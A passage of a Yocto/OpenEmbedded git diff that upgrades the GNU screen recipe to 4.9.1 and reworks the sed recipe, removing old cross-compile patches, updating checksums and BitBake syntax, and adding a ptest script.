-Signed-off-by: Jian Kang <jian.kang@windriver.com>
----
- configure.ac | 20 ++++++++++----------
- 1 file changed, 10 insertions(+), 10 deletions(-)
-
-diff --git a/configure.ac b/configure.ac
-index 12996cd..4765af6 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -128,7 +128,7 @@ fi
-
-
- AC_CHECKING(for Ultrix)
--AC_EGREP_CPP(yes,
-+AC_EGREP_CPP(yes;,
- [#if defined(ultrix) || defined(__ultrix)
- yes;
- #endif
-@@ -145,7 +145,7 @@ dnl ghazi@caip.rutgers.edu (Kaveh R. Ghazi):
- dnl BBN butterfly is not POSIX, but a MACH BSD system.
- dnl Do not define POSIX and TERMIO.
- AC_CHECKING(for butterfly)
--AC_EGREP_CPP(yes,
-+AC_EGREP_CPP(yes;,
- [#if defined(butterfly)
- yes;
- #endif
-@@ -156,7 +156,7 @@ if test -n "$ULTRIX"; then
- test -z "$GCC" && CC="$CC -YBSD"
- fi
- AC_CHECKING(for POSIX.1)
--AC_EGREP_CPP(yes,
-+AC_EGREP_CPP(yes;,
- [#include <sys/types.h>
- #include <unistd.h>
- main () {
-@@ -173,14 +173,14 @@ AC_TRY_COMPILE(
- #include <fcntl.h>], [int x = SIGCHLD | FNDELAY;], , AC_DEFINE(SYSV))
-
- AC_CHECKING(for sequent/ptx)
--AC_EGREP_CPP(yes,
-+AC_EGREP_CPP(yes;,
- [#ifdef _SEQUENT_
- yes;
- #endif
- ], LIBS="$LIBS -lsocket -linet";seqptx=1)
-
- AC_CHECKING(SVR4)
--AC_EGREP_CPP(yes,
-+AC_EGREP_CPP(yes;,
- [main () {
- #if defined(SVR4) || defined(__SVR4)
- yes;
-@@ -200,9 +200,9 @@ fi
- AC_CHECK_HEADERS([stropts.h string.h strings.h])
-
- AC_CHECKING(for Solaris 2.x)
--AC_EGREP_CPP(yes,
-+AC_EGREP_CPP(yes;,
- [#if defined(SVR4) && defined(sun)
-- yes
-+ yes;
- #endif
- ], LIBS="$LIBS -lsocket -lnsl -lkstat")
-
-@@ -697,7 +697,7 @@ else
- pdir='/dev'
- fi
- dnl SCO uses ptyp%d
--AC_EGREP_CPP(yes,
-+AC_EGREP_CPP(yes;,
- [#ifdef M_UNIX
- yes;
- #endif
-@@ -880,7 +880,7 @@ fi
- )
-
- if test -z "$load" ; then
--AC_EGREP_CPP(yes,
-+AC_EGREP_CPP(yes;,
- [#if defined(NeXT) || defined(apollo) || defined(linux)
- yes;
- #endif
-@@ -1112,7 +1112,7 @@ AC_CHECKING(syslog in libbsd.a)
- AC_TRY_LINK(, [closelog();], AC_NOTE(- found.), [LIBS="$oldlibs"
- AC_NOTE(- bad news: syslog missing.) AC_DEFINE(NOSYSLOG)])])
-
--AC_EGREP_CPP(yes,
-+AC_EGREP_CPP(yes;,
- [#ifdef M_UNIX
- yes;
- #endif
---
-2.13.3
-
diff --git a/meta/recipes-extended/screen/screen/0002-comm.h-now-depends-on-term.h.patch b/meta/recipes-extended/screen/screen/0002-comm.h-now-depends-on-term.h.patch
index b5d71cc1b4..a01dc24751 100644
--- a/meta/recipes-extended/screen/screen/0002-comm.h-now-depends-on-term.h.patch
+++ b/meta/recipes-extended/screen/screen/0002-comm.h-now-depends-on-term.h.patch
@@ -15,19 +15,16 @@ Subject: [PATCH] comm.h now depends on term.h
src/Makefile.in | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
-diff --git a/src/Makefile.in b/src/Makefile.in
-index e791e79..d4f7c0b 100644
---- a/Makefile.in
-+++ b/Makefile.in
-@@ -113,7 +113,7 @@ term.h: term.c term.sh
-
- kmapdef.c: term.h
+Index: screen-4.6.1/Makefile.in
+===================================================================
+--- screen-4.6.1.orig/Makefile.in
++++ screen-4.6.1/Makefile.in
+@@ -133,7 +133,7 @@ kmapdef.c: term.h
+ tty.c: tty.sh
+ sh $(srcdir)/tty.sh tty.c
-comm.h: comm.c comm.sh config.h
+comm.h: comm.c comm.sh config.h term.h
AWK=$(AWK) CC="$(CC) $(CFLAGS)" srcdir=${srcdir} sh $(srcdir)/comm.sh
- docs:
---
-2.4.1
-
+ osdef.h: osdef.sh config.h osdef.h.in
diff --git a/meta/recipes-extended/screen/screen/Avoid-mis-identifying-systems-as-SVR4.patch b/meta/recipes-extended/screen/screen/Avoid-mis-identifying-systems-as-SVR4.patch
deleted file mode 100644
index e184aa1f31..0000000000
--- a/meta/recipes-extended/screen/screen/Avoid-mis-identifying-systems-as-SVR4.patch
+++ /dev/null
@@ -1,57 +0,0 @@
-From 79afb676904653403145fda9e1a6a9d3ea1cb22a Mon Sep 17 00:00:00 2001
-From: Jussi Kukkonen <jussi.kukkonen@intel.com>
-Date: Fri, 7 Aug 2015 11:10:32 +0300
-Subject: [PATCH 4/4] Avoid mis-identifying systems as SVR4
-
-Linux can be misdetected as SVR4 because it has
-libelf installed. This leads to linking with libelf, even though no
-symbols from that library were actually used, and to a workaround for
-a buggy getlogin() being enabled.
-
-It is not documented which exact SVR4 system had the bug that the
-workaround was added for, so all I could do is make an educated guess
-at the #defines its compiler would be likely to set.
-
-Modified from patch by Maarten ter Huurne.
-
-Upstream-Status: Submitted [http://savannah.gnu.org/bugs/?43223]
-
-Signed-off-by: Jussi Kukkonen <jussi.kukkonen@intel.com>
----
- configure.ac | 14 ++++++++++++--
- 1 file changed, 12 insertions(+), 2 deletions(-)
-
-diff --git a/configure.ac b/configure.ac
-index dc928ae..65439ce 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -179,14 +179,24 @@ AC_EGREP_CPP(yes,
- #endif
- ], LIBS="$LIBS -lsocket -linet";seqptx=1)
-
-+AC_CHECKING(SVR4)
-+AC_EGREP_CPP(yes,
-+[main () {
-+#if defined(SVR4) || defined(__SVR4)
-+ yes;
-+#endif
-+], AC_NOTE(- you have a SVR4 system) AC_DEFINE(SVR4) svr4=1)
-+if test -n "$svr4" ; then
- oldlibs="$LIBS"
- LIBS="$LIBS -lelf"
- AC_CHECKING(SVR4)
- AC_TRY_LINK([#include <utmpx.h>
- ],,
--[AC_CHECK_HEADER(dwarf.h, AC_DEFINE(SVR4) AC_DEFINE(BUGGYGETLOGIN),
--[AC_CHECK_HEADER(elf.h, AC_DEFINE(SVR4) AC_DEFINE(BUGGYGETLOGIN))])]
-+[AC_CHECK_HEADER(dwarf.h, AC_DEFINE(BUGGYGETLOGIN),
-+[AC_CHECK_HEADER(elf.h, AC_DEFINE(BUGGYGETLOGIN))])]
- ,LIBS="$oldlibs")
-+fi
-+
- AC_CHECK_HEADERS([stropts.h string.h strings.h])
-
- AC_CHECKING(for Solaris 2.x)
---
-2.1.4
-
diff --git a/meta/recipes-extended/screen/screen/Provide-cross-compile-alternatives-for-AC_TRY_RUN.patch b/meta/recipes-extended/screen/screen/Provide-cross-compile-alternatives-for-AC_TRY_RUN.patch
deleted file mode 100644
index 248bf087e2..0000000000
--- a/meta/recipes-extended/screen/screen/Provide-cross-compile-alternatives-for-AC_TRY_RUN.patch
+++ /dev/null
@@ -1,137 +0,0 @@
-From cd0f7f10a3fffbc60fe55eb200474d13fe1da65b Mon Sep 17 00:00:00 2001
-From: Jussi Kukkonen <jussi.kukkonen@intel.com>
-Date: Fri, 7 Aug 2015 10:34:29 +0300
-Subject: [PATCH 2/4] Provide cross compile alternatives for AC_TRY_RUN
-
-Modified from patch by Maarten ter Huurne.
-
-Upstream-Status: Submitted [http://savannah.gnu.org/bugs/?43223]
-
-Signed-off-by: Jussi Kukkonen <jussi.kukkonen@intel.com>
----
- configure.ac | 32 ++++++++++++++++++++------------
- 1 file changed, 20 insertions(+), 12 deletions(-)
-
-diff --git a/configure.ac b/configure.ac
-index 27690a6..ce89f56 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -348,7 +348,8 @@ main()
- exit(0);
- }
- ], AC_NOTE(- your fifos are usable) fifo=1,
--AC_NOTE(- your fifos are not usable))
-+AC_NOTE(- your fifos are not usable),
-+AC_NOTE(- skipping check because we are cross compiling; assuming fifos are usable) fifo=1)
- rm -f /tmp/conftest*
-
- if test -n "$fifo"; then
-@@ -396,7 +397,8 @@ main()
- exit(0);
- }
- ], AC_NOTE(- your implementation is ok),
--AC_NOTE(- you have a broken implementation) AC_DEFINE(BROKEN_PIPE) fifobr=1)
-+AC_NOTE(- you have a broken implementation) AC_DEFINE(BROKEN_PIPE) fifobr=1,
-+AC_NOTE(- skipping check because we are cross compiling; assuming fifo implementation is ok))
- rm -f /tmp/conftest*
- fi
-
-@@ -458,7 +460,8 @@ main()
- exit(0);
- }
- ], AC_NOTE(- your sockets are usable) sock=1,
--AC_NOTE(- your sockets are not usable))
-+AC_NOTE(- your sockets are not usable),
-+AC_NOTE(- skipping check because we are cross compiling; assuming sockets are usable) sock=1)
- rm -f /tmp/conftest*
-
- if test -n "$sock"; then
-@@ -497,7 +500,8 @@ main()
- }
- ],AC_NOTE(- you are normal),
- AC_NOTE(- unix domain sockets are not kept in the filesystem)
--AC_DEFINE(SOCK_NOT_IN_FS) socknofs=1)
-+AC_DEFINE(SOCK_NOT_IN_FS) socknofs=1,
-+AC_NOTE(- skipping check because we are cross compiling; assuming sockets are normal))
- rm -f /tmp/conftest*
- fi
-
-@@ -624,7 +628,8 @@ main()
- exit(0);
- }
- ],AC_NOTE(- select is ok),
--AC_NOTE(- select can't count) AC_DEFINE(SELECT_BROKEN))
-+AC_NOTE(- select can't count) AC_DEFINE(SELECT_BROKEN),
-+AC_NOTE(- skipping check because we are cross compiling; assuming select is ok))
-
- dnl
- dnl **** termcap or terminfo ****
-@@ -666,7 +671,8 @@ main()
- {
- exit(strcmp(tgoto("%p1%d", 0, 1), "1") ? 0 : 1);
- }], AC_NOTE(- you use the termcap database),
--AC_NOTE(- you use the terminfo database) AC_DEFINE(TERMINFO))
-+AC_NOTE(- you use the terminfo database) AC_DEFINE(TERMINFO),
-+AC_NOTE(- skipping check because we are cross compiling; assuming terminfo database is used) AC_DEFINE(TERMINFO))
- AC_CHECKING(ospeed)
- AC_TRY_LINK(extern short ospeed;,ospeed=5;,,AC_DEFINE(NEED_OSPEED))
-
-@@ -801,7 +807,8 @@ main()
- else
- AC_NOTE(- can't determine - assume ptys are world accessable)
- fi
-- ]
-+ ],
-+ AC_NOTE(- skipping check because we are cross compiling; assuming ptys are world accessable)
- )
- rm -f conftest_grp
- fi
-@@ -885,7 +892,7 @@ AC_EGREP_CPP(yes,
- #endif
- ], load=1)
- fi
--if test -z "$load" ; then
-+if test -z "$load" && test "$cross_compiling" = no ; then
- AC_CHECKING(for kernelfile)
- for core in /unix /vmunix /dynix /hp-ux /xelos /dev/ksyms /kernel/unix /kernel/genunix /unicos /mach /netbsd /386bsd /dgux /bsd /stand/vmunix; do
- if test -f $core || test -c $core; then
-@@ -1078,7 +1085,7 @@ main()
- #endif
- exit(0);
- }
--],,AC_DEFINE(SYSVSIGS))
-+],,AC_DEFINE(SYSVSIGS),:)
-
- fi
-
-@@ -1158,7 +1165,7 @@ main() {
- if (strncmp(buf, "cdedef", 6))
- exit(1);
- exit(0); /* libc version works properly. */
--}], AC_DEFINE(USEBCOPY))
-+}], AC_DEFINE(USEBCOPY),,:)
-
- AC_TRY_RUN([
- #define bcopy(s,d,l) memmove(d,s,l)
-@@ -1173,7 +1180,8 @@ main() {
- if (strncmp(buf, "cdedef", 6))
- exit(1);
- exit(0); /* libc version works properly. */
--}], AC_DEFINE(USEMEMMOVE))
-+}], AC_DEFINE(USEMEMMOVE),,
-+ AC_NOTE(- skipping check because we are cross compiling; use memmove) AC_DEFINE(USEMEMMOVE))
-
-
- AC_TRY_RUN([
-@@ -1189,7 +1197,7 @@ main() {
- if (strncmp(buf, "cdedef", 6))
- exit(1);
- exit(0); /* libc version works properly. */
--}], AC_DEFINE(USEMEMCPY))
-+}], AC_DEFINE(USEMEMCPY),,:)
-
- AC_SYS_LONG_FILE_NAMES
-
---
-2.1.4
-
diff --git a/meta/recipes-extended/screen/screen/Remove-redundant-compiler-sanity-checks.patch b/meta/recipes-extended/screen/screen/Remove-redundant-compiler-sanity-checks.patch
deleted file mode 100644
index cc62c12e05..0000000000
--- a/meta/recipes-extended/screen/screen/Remove-redundant-compiler-sanity-checks.patch
+++ /dev/null
@@ -1,65 +0,0 @@
-From 73b726c25f94c1b15514ed9249b927afdfbbfb94 Mon Sep 17 00:00:00 2001
-From: Jussi Kukkonen <jussi.kukkonen@intel.com>
-Date: Fri, 7 Aug 2015 10:30:40 +0300
-Subject: [PATCH 1/4] Remove redundant compiler sanity checks
-
-AC_PROG_CC already performs sanity checks. And unlike the removed
-checks, it does so in a way that supports cross compilation.
-
-Modified from patch by Maarten ter Huurne.
-
-Upstream-Status: Submitted [http://savannah.gnu.org/bugs/?43223]
-
-Signed-off-by: Jussi Kukkonen <jussi.kukkonen@intel.com>
----
- configure.ac | 27 ---------------------------
- 1 file changed, 27 deletions(-)
-
-diff --git a/configure.ac b/configure.ac
-index ffe2e37..27690a6 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -48,31 +48,6 @@ AC_PROG_GCC_TRADITIONAL
- AC_ISC_POSIX
- AC_USE_SYSTEM_EXTENSIONS
-
--AC_TRY_RUN(main(){exit(0);},,[
--if test $CC != cc ; then
--AC_NOTE(Your $CC failed - restarting with CC=cc)
--AC_NOTE()
--CC=cc
--export CC
--exec $0 $configure_args
--fi
--])
--
--AC_TRY_RUN(main(){exit(0);},,
--exec 5>&2
--eval $ac_link
--AC_NOTE(CC=$CC; CFLAGS=$CFLAGS; LIBS=$LIBS;)
--AC_NOTE($ac_compile)
--AC_MSG_ERROR(Can't run the compiler - sorry))
--
--AC_TRY_RUN([
--main()
--{
-- int __something_strange_();
-- __something_strange_(0);
--}
--],AC_MSG_ERROR(Your compiler does not set the exit status - sorry))
--
- AC_PROG_AWK
-
- AC_PROG_INSTALL
-@@ -1300,8 +1275,6 @@ fi
- dnl Ptx bug workaround -- insert -lc after -ltermcap
- test -n "$seqptx" && LIBS="-ltermcap -lc -lsocket -linet -lnsl -lsec -lseq"
-
--AC_TRY_RUN(main(){exit(0);},,AC_MSG_ERROR(Can't run the compiler - internal error. Sorry.))
--
- ETCSCREENRC=
- AC_MSG_CHECKING(for the global screenrc file)
- AC_ARG_WITH(sys-screenrc, [ --with-sys-screenrc=path to the global screenrc file], [ ETCSCREENRC="${withval}" ])
---
-2.1.4
-
diff --git a/meta/recipes-extended/screen/screen/Skip-host-file-system-checks-when-cross-compiling.patch b/meta/recipes-extended/screen/screen/Skip-host-file-system-checks-when-cross-compiling.patch
deleted file mode 100644
index d7e55a4451..0000000000
--- a/meta/recipes-extended/screen/screen/Skip-host-file-system-checks-when-cross-compiling.patch
+++ /dev/null
@@ -1,135 +0,0 @@
-From d0b20e4cacc60ad62a2150ce07388cb5a25c2040 Mon Sep 17 00:00:00 2001
-From: Jussi Kukkonen <jussi.kukkonen@intel.com>
-Date: Fri, 7 Aug 2015 11:09:01 +0300
-Subject: [PATCH 3/4] Skip host file system checks when cross-compiling
-
-Modified from patch by Maarten ter Huurne.
-
-Upstream-Status: Submitted [http://savannah.gnu.org/bugs/?43223]
-
-Signed-off-by: Jussi Kukkonen <jussi.kukkonen@intel.com>
----
- configure.ac | 23 +++++++++++++++++++----
- 1 file changed, 19 insertions(+), 4 deletions(-)
-
-diff --git a/configure.ac b/configure.ac
-index ce89f56..dc928ae 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -85,7 +85,7 @@ AC_ARG_ENABLE(socket-dir,
- dnl
- dnl **** special unix variants ****
- dnl
--if test -n "$ISC"; then
-+if test "$cross_compiling" = no && test -n "$ISC" ; then
- AC_DEFINE(ISC) LIBS="$LIBS -linet"
- fi
-
-@@ -96,10 +96,11 @@ dnl AC_DEFINE(OSF1) # this disables MIPS again....
- dnl fi
- dnl fi
-
--if test -f /sysV68 ; then
-+if test "$cross_compiling" = no && test -f /sysV68 ; then
- AC_DEFINE(sysV68)
- fi
-
-+if test "$cross_compiling" = no ; then
- AC_CHECKING(for MIPS)
- if test -f /lib/libmld.a || test -f /usr/lib/libmld.a || test -f /usr/lib/cmplrs/cc/libmld.a; then
- oldlibs="$LIBS"
-@@ -123,6 +124,7 @@ AC_DEFINE(USE_WAIT2) LIBS="$LIBS -lbsd" ; CC="$CC -I/usr/include/bsd"
- ))
- fi
- fi
-+fi
-
-
- AC_CHECKING(for Ultrix)
-@@ -132,7 +134,7 @@ AC_EGREP_CPP(yes,
- #endif
- ], ULTRIX=1)
-
--if test -f /usr/lib/libpyr.a ; then
-+if test "$cross_compiling" = no && test -f /usr/lib/libpyr.a ; then
- oldlibs="$LIBS"
- LIBS="$LIBS -lpyr"
- AC_CHECKING(Pyramid OSX)
-@@ -679,17 +681,21 @@ AC_TRY_LINK(extern short ospeed;,ospeed=5;,,AC_DEFINE(NEED_OSPEED))
- dnl
- dnl **** PTY specific things ****
- dnl
-+if test "$cross_compiling" = no ; then
- AC_CHECKING(for /dev/ptc)
- if test -r /dev/ptc; then
- AC_DEFINE(HAVE_DEV_PTC)
- fi
-+fi
-
-+if test "$cross_compiling" = no ; then
- AC_CHECKING(for SVR4 ptys)
- sysvr4ptys=
- if test -c /dev/ptmx ; then
- AC_TRY_LINK([],[ptsname(0);grantpt(0);unlockpt(0);],[AC_DEFINE(HAVE_SVR4_PTYS)
- sysvr4ptys=1])
- fi
-+fi
-
- AC_CHECK_FUNCS(getpt)
-
-@@ -699,6 +705,7 @@ AC_CHECK_FUNCS(openpty,,
- [AC_CHECK_LIB(util,openpty, [AC_DEFINE(HAVE_OPENPTY)] [LIBS="$LIBS -lutil"])])
- fi
-
-+if test "$cross_compiling" = no ; then
- AC_CHECKING(for ptyranges)
- if test -d /dev/ptym ; then
- pdir='/dev/ptym'
-@@ -722,6 +729,7 @@ p1=`echo $ptys | tr ' ' '\012' | sed -e 's/^.*\(.\)$/\1/g' | sort -u | tr -d '\
- AC_DEFINE_UNQUOTED(PTYRANGE0,"$p0")
- AC_DEFINE_UNQUOTED(PTYRANGE1,"$p1")
- fi
-+fi
-
- dnl **** pty mode/group handling ****
- dnl
-@@ -869,14 +877,16 @@ fi
- dnl
- dnl **** loadav ****
- dnl
-+if test "$cross_compiling" = no ; then
- AC_CHECKING(for libutil(s))
- test -f /usr/lib/libutils.a && LIBS="$LIBS -lutils"
- test -f /usr/lib/libutil.a && LIBS="$LIBS -lutil"
-+fi
-
- AC_CHECKING(getloadavg)
- AC_TRY_LINK(,[getloadavg((double *)0, 0);],
- AC_DEFINE(LOADAV_GETLOADAVG) load=1,
--if test -f /usr/lib/libkvm.a ; then
-+if test "$cross_compiling" = no && test -f /usr/lib/libkvm.a ; then
- olibs="$LIBS"
- LIBS="$LIBS -lkvm"
- AC_CHECKING(getloadavg with -lkvm)
-@@ -1094,13 +1104,18 @@ dnl **** libraries ****
- dnl
-
- AC_CHECKING(for crypt and sec libraries)
-+if test "$cross_compiling" = no ; then
- test -f /lib/libcrypt_d.a || test -f /usr/lib/libcrypt_d.a && LIBS="$LIBS -lcrypt_d"
-+fi
- oldlibs="$LIBS"
- LIBS="$LIBS -lcrypt"
- AC_CHECKING(crypt)
- AC_TRY_LINK(,,,LIBS="$oldlibs")
-+if test "$cross_compiling" = no ; then
- test -f /lib/libsec.a || test -f /usr/lib/libsec.a && LIBS="$LIBS -lsec"
- test -f /lib/libshadow.a || test -f /usr/lib/libshadow.a && LIBS="$LIBS -lshadow"
-+fi
-+
- oldlibs="$LIBS"
- LIBS="$LIBS -lsun"
- AC_CHECKING(IRIX sun library)
---
-2.1.4
-
diff --git a/meta/recipes-extended/screen/screen_4.6.1.bb b/meta/recipes-extended/screen/screen_4.9.1.bb
index bcd83a241c..7b040e6b57 100644
--- a/meta/recipes-extended/screen/screen_4.6.1.bb
+++ b/meta/recipes-extended/screen/screen_4.9.1.bb
@@ -7,46 +7,43 @@ BUGTRACKER = "https://savannah.gnu.org/bugs/?func=additem&group=screen"
SECTION = "console/utils"
-LICENSE = "GPLv3+"
+LICENSE = "GPL-3.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \
- file://screen.h;endline=26;md5=3971142989289a8198a544220703c2bf"
+ file://screen.h;endline=26;md5=b8dc717c9a3dba842ae6c44ca0f73f52 \
+ "
-DEPENDS = "ncurses \
+DEPENDS = "ncurses virtual/crypt \
${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'libpam', '', d)}"
-RDEPENDS_${PN} = "base-files"
+RDEPENDS:${PN} = "base-files"
SRC_URI = "${GNU_MIRROR}/screen/screen-${PV}.tar.gz \
${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'file://screen.pam', '', d)} \
- file://Remove-redundant-compiler-sanity-checks.patch \
- file://Provide-cross-compile-alternatives-for-AC_TRY_RUN.patch \
- file://Skip-host-file-system-checks-when-cross-compiling.patch \
- file://Avoid-mis-identifying-systems-as-SVR4.patch \
file://0002-comm.h-now-depends-on-term.h.patch \
file://0001-fix-for-multijob-build.patch \
- file://0001-configure.ac-fix-configure-failed-while-build-dir-ha.patch \
- "
+ file://0001-Remove-more-compatibility-stuff.patch \
+ "
-SRC_URI[md5sum] = "132c893aabfaf2020074790215c8cacd"
-SRC_URI[sha256sum] = "aba9af66cb626155d6abce4703f45cce0e30a5114a368bd6387c966cbbbb7c64"
+SRC_URI[sha256sum] = "26cef3e3c42571c0d484ad6faf110c5c15091fbf872b06fa7aa4766c7405ac69"
inherit autotools texinfo
PACKAGECONFIG ??= ""
PACKAGECONFIG[utempter] = "ac_cv_header_utempter_h=yes,ac_cv_header_utempter_h=no,libutempter,"
-EXTRA_OECONF = "--with-pty-mode=0620 --with-pty-group=5 \
+EXTRA_OECONF = "--with-pty-mode=0620 --with-pty-group=5 --with-sys-screenrc=${sysconfdir}/screenrc \
${@bb.utils.contains('DISTRO_FEATURES', 'pam', '--enable-pam', '--disable-pam', d)}"
-do_install_append () {
+do_install:append () {
+ install -D -m 644 ${S}/etc/etcscreenrc ${D}/${sysconfdir}/screenrc
if [ "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}" ]; then
install -D -m 644 ${WORKDIR}/screen.pam ${D}/${sysconfdir}/pam.d/screen
fi
}
-pkg_postinst_${PN} () {
+pkg_postinst:${PN} () {
grep -q "^${bindir}/screen$" $D${sysconfdir}/shells || echo ${bindir}/screen >> $D${sysconfdir}/shells
}
-pkg_postrm_${PN} () {
+pkg_postrm:${PN} () {
printf "$(grep -v "^${bindir}/screen$" $D${sysconfdir}/shells)\n" > $D${sysconfdir}/shells
}
diff --git a/meta/recipes-extended/sed/sed-4.2.2/0001-Unset-need_charset_alias-when-building-for-musl.patch b/meta/recipes-extended/sed/sed-4.2.2/0001-Unset-need_charset_alias-when-building-for-musl.patch
deleted file mode 100644
index ba1a4bab4c..0000000000
--- a/meta/recipes-extended/sed/sed-4.2.2/0001-Unset-need_charset_alias-when-building-for-musl.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From b9565dc2fe0c4f7daaec91b7e83bc7313dee2f4a Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 13 Apr 2015 17:02:13 -0700
-Subject: [PATCH] Unset need_charset_alias when building for musl
-
-localcharset uses ac_cv_gnu_library_2_1 from glibc21.m4
-which actually shoudl be fixed in gnulib and then all downstream
-projects will get it eventually. For now we apply the fix to
-coreutils
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- lib/gnulib.mk | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/lib/gnulib.mk b/lib/gnulib.mk
-index e1d74db..c0e92dd 100644
---- a/lib/gnulib.mk
-+++ b/lib/gnulib.mk
-@@ -1882,7 +1882,7 @@ install-exec-localcharset: all-local
- case '$(host_os)' in \
- darwin[56]*) \
- need_charset_alias=true ;; \
-- darwin* | cygwin* | mingw* | pw32* | cegcc*) \
-+ darwin* | cygwin* | mingw* | pw32* | cegcc* | linux-musl*) \
- need_charset_alias=false ;; \
- *) \
- need_charset_alias=true ;; \
---
-2.1.4
-
diff --git a/meta/recipes-extended/sed/sed-4.2.2/run-ptest b/meta/recipes-extended/sed/sed-4.2.2/run-ptest
deleted file mode 100644
index 7c0f62770e..0000000000
--- a/meta/recipes-extended/sed/sed-4.2.2/run-ptest
+++ /dev/null
@@ -1,3 +0,0 @@
-#!/bin/sh
-
-make -C testsuite -k runtest-TESTS
diff --git a/meta/recipes-extended/sed/sed-4.2.2/sed-add-ptest.patch b/meta/recipes-extended/sed/sed-4.2.2/sed-add-ptest.patch
deleted file mode 100644
index 0293900fbf..0000000000
--- a/meta/recipes-extended/sed/sed-4.2.2/sed-add-ptest.patch
+++ /dev/null
@@ -1,66 +0,0 @@
-sed: add ptest
-
-ptest needs buildtest-TESTS and runtest-TESTS targets.
-serial-tests is required to generate those targets.
-
-And fix following error after add serial-tests.
-
-[snip]
-help2man: can't get `--help' info from ../sed/sed
-make[2]: *** [sed.1] Error 2
-[snip]
-
-Upstream-Status: Inappropriate
-
-Signed-off-by: Chong Lu <Chong.Lu@windriver.com>
----
- configure.ac | 2 +-
- doc/Makefile.am | 2 +-
- testsuite/Makefile.am | 6 ++++++
- 3 files changed, 8 insertions(+), 2 deletions(-)
-
-diff --git a/configure.ac b/configure.ac
-index 9d33ec9..4f0c532 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -4,7 +4,7 @@ AC_CONFIG_AUX_DIR(build-aux)
- AC_CONFIG_SRCDIR([sed/sed.c])
- AM_CONFIG_HEADER(config.h:config_h.in)
- AC_PREREQ(2.60)
--AM_INIT_AUTOMAKE
-+AM_INIT_AUTOMAKE([serial-tests])
-
- SED_FEATURE_VERSION=4.2.2
- AC_DEFINE_UNQUOTED(SED_FEATURE_VERSION, "$SED_FEATURE_VERSION",
-diff --git a/doc/Makefile.am b/doc/Makefile.am
-index af6975c..6fd8c9a 100644
---- a/doc/Makefile.am
-+++ b/doc/Makefile.am
-@@ -25,7 +25,7 @@ $(srcdir)/s-texi: sed-in.texi $(srcdir)/groupify.sed
- fi
- echo stamp > $(srcdir)/s-texi
-
--sed.1: $(top_srcdir)/sed/sed.c $(top_srcdir)/configure.ac $(srcdir)/sed.x
-+_sed.1: $(top_srcdir)/sed/sed.c $(top_srcdir)/configure.ac $(srcdir)/sed.x
- $(HELP2MAN) --name "stream editor for filtering and transforming text" \
- -p sed --include $(srcdir)/sed.x -o $(srcdir)/sed.1 $(SED)
-
-diff --git a/testsuite/Makefile.am b/testsuite/Makefile.am
-index d80e72c..b05f01e 100644
---- a/testsuite/Makefile.am
-+++ b/testsuite/Makefile.am
-@@ -99,5 +99,11 @@ EXTRA_DIST = \
- # automake makes `check' depend on $(TESTS). Declare
- # dummy targets for $(TESTS) so that make does not complain.
-
-+install-ptest:
-+ cd $(BUILDDIR); tar -c --exclude=*.o $(TESTDIR) | ( cd $(DESTDIR) && tar -xf - )
-+ for i in $(EXTRA_DIST) tst-regex2.c; do install $(srcdir)/$$i $(DESTDIR)/$(TESTDIR); done
-+ sed -e 's/^Makefile:/_Makefile:/' -e 's/^srcdir = \(.*\)/srcdir = ./' -e 's/bash/sh/' -i $(DESTDIR)/$(TESTDIR)/Makefile
-+ for i in `grep -rl "../sed/sed" $(DESTDIR)/$(TESTDIR)`; do sed -e 's/..\/sed\/sed/sed/' -i $$i; done
-+
- .PHONY: $(SEDTESTS)
- $(SEDTESTS):
---
-1.7.9.5
-
diff --git a/meta/recipes-extended/sed/sed/run-ptest b/meta/recipes-extended/sed/sed/run-ptest
new file mode 100644
index 0000000000..0460c7961f
--- /dev/null
+++ b/meta/recipes-extended/sed/sed/run-ptest
@@ -0,0 +1,5 @@
+#!/bin/sh
+
+chown nobody testsuite
+chown nobody ../ptest
+su nobody -s /bin/sh -c "make test-suite.log"
diff --git a/meta/recipes-extended/sed/sed_4.2.2.bb b/meta/recipes-extended/sed/sed_4.2.2.bb
deleted file mode 100644
index e31bec2890..0000000000
--- a/meta/recipes-extended/sed/sed_4.2.2.bb
+++ /dev/null
@@ -1,47 +0,0 @@
-SUMMARY = "Stream EDitor (text filtering utility)"
-HOMEPAGE = "http://www.gnu.org/software/sed/"
-LICENSE = "GPLv3+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=f27defe1e96c2e1ecd4e0c9be8967949 \
- file://sed/sed.h;beginline=1;endline=17;md5=767ab3a06d7584f6fd0469abaec4412f"
-SECTION = "console/utils"
-
-SRC_URI = "${GNU_MIRROR}/sed/sed-${PV}.tar.gz \
- file://sed-add-ptest.patch \
- file://0001-Unset-need_charset_alias-when-building-for-musl.patch \
- file://run-ptest \
-"
-
-SRC_URI[md5sum] = "4111de4faa3b9848a0686b2f260c5056"
-SRC_URI[sha256sum] = "fea0a94d4b605894f3e2d5572e3f96e4413bcad3a085aae7367c2cf07908b2ff"
-
-inherit autotools texinfo update-alternatives gettext ptest
-RDEPENDS_${PN}-ptest += "make ${PN}"
-RRECOMMENDS_${PN}-ptest_append_libc-glibc = " locale-base-ru-ru"
-
-EXTRA_OECONF = "--disable-acl \
- ${@bb.utils.contains('PTEST_ENABLED', '1', '--enable-regex-tests', '', d)}"
-
-do_install () {
- autotools_do_install
- install -d ${D}${base_bindir}
- if [ ! ${D}${bindir} -ef ${D}${base_bindir} ]; then
- mv ${D}${bindir}/sed ${D}${base_bindir}/sed
- rmdir ${D}${bindir}/
- fi
-}
-
-ALTERNATIVE_${PN} = "sed"
-ALTERNATIVE_LINK_NAME[sed] = "${base_bindir}/sed"
-ALTERNATIVE_PRIORITY = "100"
-
-TESTDIR = "testsuite"
-
-do_compile_ptest() {
- oe_runmake -C ${TESTDIR} buildtest-TESTS
